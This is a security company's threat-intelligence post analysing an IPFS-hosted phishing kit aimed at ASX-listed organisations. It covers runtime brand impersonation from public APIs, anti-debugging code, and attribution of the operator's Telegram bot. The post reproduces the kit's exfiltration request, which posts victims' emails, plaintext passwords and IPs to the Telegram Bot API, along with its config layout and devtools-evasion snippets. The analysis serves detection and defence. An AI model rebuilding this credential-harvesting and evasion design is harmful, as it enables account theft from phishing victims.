Nothing to Take Down: IPFS-Hosted Phishing With Runtime Brand Impersonation

Security Insights  /  Nothing to Take Down: IPFS-Hosted Phishing With Runtime Brand Impersonation

Phillip Roberts | 28 July 2026

Overview

This post details the technical operation of a credential harvesting campaign observed targeting ASX-listed organisations beginning in July 2026. The campaign combines three techniques that, together, represent a meaningful shift from traditional phishing infrastructure:

  1. IPFS-hosted phishing pages served via public gateways, leaving no single hosting target to take down.
  2. Dynamic, victim-specific brand impersonation built at runtime from three legitimate third-party public APIs, requiring no pre-built template per target organisation.
  3. Telegram Bot API exfiltration, delivering harvested credentials to the operator in real time over standard HTTPS traffic to a widely used, and not inherently malicious, consumer platform.

The page also implements multiple anti-analysis techniques intended to frustrate defenders performing browser-based investigation. Static analysis of the retrieved source, combined with direct interrogation of the Telegram Bot API, allowed full reconstruction of the exfiltration chain and yielded operator-level attribution artefacts.

Delivery Vector

Victims received an email impersonating internal IT/admin communications, using the following pattern:

FieldValue
SubjectAdmin [target organisation domain] Sent you a ShareFile Document
Sender addressesjcfortes@uhu[.]es, info@uhu[.]es
Display name[Target Organisation] Admin
ThemeSpoofed internal ShareFile document-sharing notification

The sending domain (uhu.es) resolves to Universidad de Huelva, a Spanish public university. This is consistent with the sending mailbox being a compromised legitimate account used to relay lures, rather than attacker-owned infrastructure. This is a common technique that leverages an existing domain's mail reputation to bypass sender-reputation-based filtering.

The lure URL embedded in the email points to the IPFS-hosted phishing kit, with the victim's email address passed as a URL parameter.

IPFS Hosting Model

The credential harvesting page is not hosted on conventional web infrastructure. It is published to the InterPlanetary File System (IPFS) and addressed by a Content Identifier (CID):

bafybeihfmenxt6xczenlg6kyanl5vapgbbip643ummy7kwf4oyokcsvgv4

Content on IPFS is content-addressed: the CID is a cryptographic hash of the content itself, meaning the same CID will always resolve to the same bytes regardless of which node or gateway serves it. This has direct implications for defenders:

File Structure and Victim Targeting

Directory listing of the CID via a path gateway revealed the following relevant files:

The lure URL takes the form:

https://[gateway]/ipfs/bafybeihfmenxt6xczenlg6kyanl5vapgbbip643ummy7kwf4oyokcsvgv4/?auth=<base64-or-plaintext victim email>

On page load, client-side JavaScript:

  1. Reads the auth query parameter.
  2. Attempts atob() (base64) decoding; falls back to the raw value if decoding fails.
  3. Validates the result against an email regex.
  4. If valid, pre-fills and disables the email input field with the victim's address to reinforce legitimacy ("this page already knows who I am") and to reduce the number of fields the victim must interact with.

Dynamic Brand Impersonation

This is the most operationally interesting component of the kit. Rather than shipping a separate, pre-built fake login page per target organisation, the kit derives the target organisation entirely from the victim's own email domain at runtime and constructs a convincing impersonation using three unrelated, legitimate, free third-party APIs.

The relevant logic extracts the domain from the email (e.g. phillip@fortian.com.aufortian.com.au) and issues three separate requests, each base64-encoded in the source to frustrate naive static string-matching:

PurposeDecoded endpointEffect
Company logo https://logo.clearbit.com/<domain> Non-functional as of this analysis. The logo.clearbit.com free Logo API was deprecated by HubSpot (Clearbit's owner since its 2023 acquisition) in March 2025 and fully shut down on 1 December 2025. As of this writeup, requests to logo.clearbit.com fail to connect and return no image.
Favicon https://www.google.com/s2/favicons?domain=<domain> Google's public favicon service returns the real favicon for the domain, set as the browser tab icon, reinforcing legitimacy in the tab bar itself.
Page background https://api.microlink.io/?url=https://<domain>&screenshot=true&meta=false&embed=screenshot.url Microlink is a legitimate URL-preview/screenshot-as-a-service API (normally used for social share cards and link previews). Given any public URL, it renders that page in a headless browser on Microlink's own infrastructure and returns a screenshot image URL. The kit sets this screenshot as the page's CSS background-image.

No content from the target organisation's actual website is fetched, proxied, or embedded live. The visual impression of "this is my company's real portal" is produced entirely by a static screenshot, fetched on demand per victim domain from a third-party API that has no visibility into how its output is being used. This makes the kit:

The kit also sets the page <title> dynamically to match the extracted organisation name, and localises all visible strings (login prompt, error/success messages, button text) via a large embedded translation table keyed on navigator.language, supporting well over 100 locale variants.

Credential Capture and Exfiltration

On page load, the kit fetches a same-directory config.json:

{
    "telegram": {
        "chatId": "7132118204",
        "token": "7081449529:AAEZ...[REDACTED]"
    }
}

This separates the exfiltration credentials from the page logic itself, allowing the same index.html/JS bundle to be redeployed against different Telegram bots/operators simply by swapping config.json — consistent with this being a templated, reusable kit artefact rather than a bespoke build.

On form submission, the page:

  1. Validates a password value is present (email is already fixed from the auth parameter).
  2. Displays a loading overlay.
  3. Queries https://ipinfo.io/json to resolve the victim's approximate geolocation and public IP from their own browser session (a free public IP-geolocation API, called client-side, requiring no attacker-side infrastructure).
  4. Constructs a formatted message containing:
    • Victim email address
    • Submitted password (plaintext)
    • Approximate location (city, country)
    • Public IP address
    • Full browser navigator.userAgent string
  5. POSTs this message to the Telegram Bot API:
    POST https://api.telegram.org/bot<token>/sendMessage
    Content-Type: application/json
    
    {
      "chat_id": "<chatId>",
      "text": "<formatted HTML message>",
      "parse_mode": "HTML"
    }

This delivers the harvested credentials directly into the operator's Telegram client in real time. From a network-defence perspective, this traffic is a standard HTTPS POST to api.telegram.org — a domain which carries no distinguishing characteristics (no unusual TLS fingerprint, no attacker-controlled domain, no suspicious hosting ASN) that would flag it as malicious exfiltration at the network layer unless api.telegram.org is explicitly categorised and blocked by web-filtering policy.

Multi-Attempt and Redirect Logic

The kit tracks failed submission attempts client-side (ir6akilggq counter). On the third submission, rather than continuing to solicit passwords, the page:

  1. Hides the login error/form elements.
  2. Disables further input.
  3. Displays a "session authenticated" success message.
  4. After a two-second delay, redirects the victim to the real organisation's website (reconstructed from the same email-domain-parsing logic used for brand impersonation).

This serves two purposes: it harvests multiple password attempts per victim (useful where victims mistype, or where they deliberately enter a decoy password first), and it reduces victim suspicion by ending the interaction with an apparently successful login and a bounce to the genuine site, rather than a persistent error state.

Anti-Analysis Techniques

The kit implements three distinct client-side anti-analysis mechanisms aimed at frustrating browser-based investigation.

Debugger timing loop.

function lecufue9fb() {
    const start = performance.now();
    debugger;
    if (performance.now() - start > 100) {
      return true;
    }
    setTimeout(lecufue9fb, 1000);
}
lecufue9fb();

This recursively schedules a debugger; statement every second and measures elapsed time across it. If browser developer tools are open and paused on the statement, elapsed time exceeds the 100ms threshold and the function halts its recursive rescheduling. This is a standard, low-sophistication technique for detecting an attached debugger via execution-timing side effects.

Input/shortcut blocking. Standard contextmenu (right-click) and keydown event handlers preventDefault() on common developer-tools shortcuts (F12, Ctrl+Shift+I/J/C, Ctrl+U, Ctrl+S, Cmd equivalents) and browser refresh shortcuts. This is easily bypassed via the browser's menu-based devtools access (as opposed to keyboard shortcuts) and provides only nominal friction.

Viewport-delta devtools detection.

const devtoolsCheck = () => {
    const widthThreshold = window.outerWidth - window.innerWidth > 160;
    const heightThreshold = window.outerHeight - window.innerHeight > 160;
    if (!(heightThreshold && widthThreshold) &&
        (... || widthThreshold || heightThreshold)) {
        devtoolsOpen = true;
        document.body.innerHTML = '...';
        window.location.href = 'about:blank';
    }
};
setInterval(devtoolsCheck, 1000);

Polled every second, this compares the browser window's outer dimensions against the page's inner viewport dimensions. Docked developer tools panels (bottom or side of the browser window) reduce innerWidth/innerHeight relative to outerWidth/outerHeight; a delta exceeding 160px in exactly one axis — but not both, which would instead indicate an ordinary resized or scaled window — is treated as evidence of an open devtools panel, triggering an immediate redirect to about:blank and destruction of the page content.

Analyst bypass: Undocking developer tools into a separate window keeps inner/outer dimensions equal, defeating this check. Combined with disabling breakpoints or blackboxing the offending script to neutralise the debugger timing loop, this permits live interaction with the page under monitored conditions. Static retrieval and analysis of the page source via a path-resolving IPFS gateway avoids the need to interact with the live, monitored page at all.

Attribution Artefacts

Direct, read-only interrogation of the Telegram Bot API using the token recovered from config.json yielded the following:

ArtefactValueMethod
Bot numeric ID7081449529getMe
Bot display nameofficebassssgetMe
Bot username@officebassssBotgetMe
Operator (chat) numeric ID7132118204getChat (using chatId from config.json)
Operator display nameAXD AbugetChat
Operator username (at time of analysis)@ASDbubugetChat
Chat typeprivate (1:1, bot ↔ single operator account)getChat
Configured webhookNone (url: "")getWebhookInfo

Assessment: The numeric Telegram user ID (7132118204) is a durable attribution artefact as, unlike usernames, it cannot be changed. The chat type being private confirms the credentials are delivered to a single individual operator account rather than a group or channel with multiple members.

No write/state-changing API calls (setWebhook, sendMessage, banChatMember, etc.) were made against the bot, both to avoid tipping off the operator (risking token rotation and loss of the established pivot) and because such actions fall outside passive OSINT into active interference with a third party's infrastructure.

Indicators of Compromise

Email delivery:

Phishing infrastructure:

Exfiltration:

Third-party APIs abused (benign services, listed for detection/allowlisting context, not IOCs in themselves):

Detection Opportunities

Recommendations

  1. Block or alert on outbound traffic to public IPFS gateway domains from standard user endpoints where no legitimate business use case for IPFS exists.
  2. Block or alert on outbound traffic to Telegram API endpoints where no legitimate business use case for Telegram exists.
  3. Enforce phishing-resistant MFA (FIDO2 security keys, Windows Hello for Business, or certificate-based authentication) via Conditional Access Authentication Strengths.
  4. Where phishing-resistant MFA is not yet organisation-wide, enforce number matching and additional context on Microsoft Authenticator push approvals to reduce MFA-fatigue susceptibility for any credential replay using harvested passwords.
CONTACT US

Sign up or speak with a Fortian Security Specialist

Request a consultation with one of our security specialists today or sign up to receive our monthly newsletter via email.

Get in touch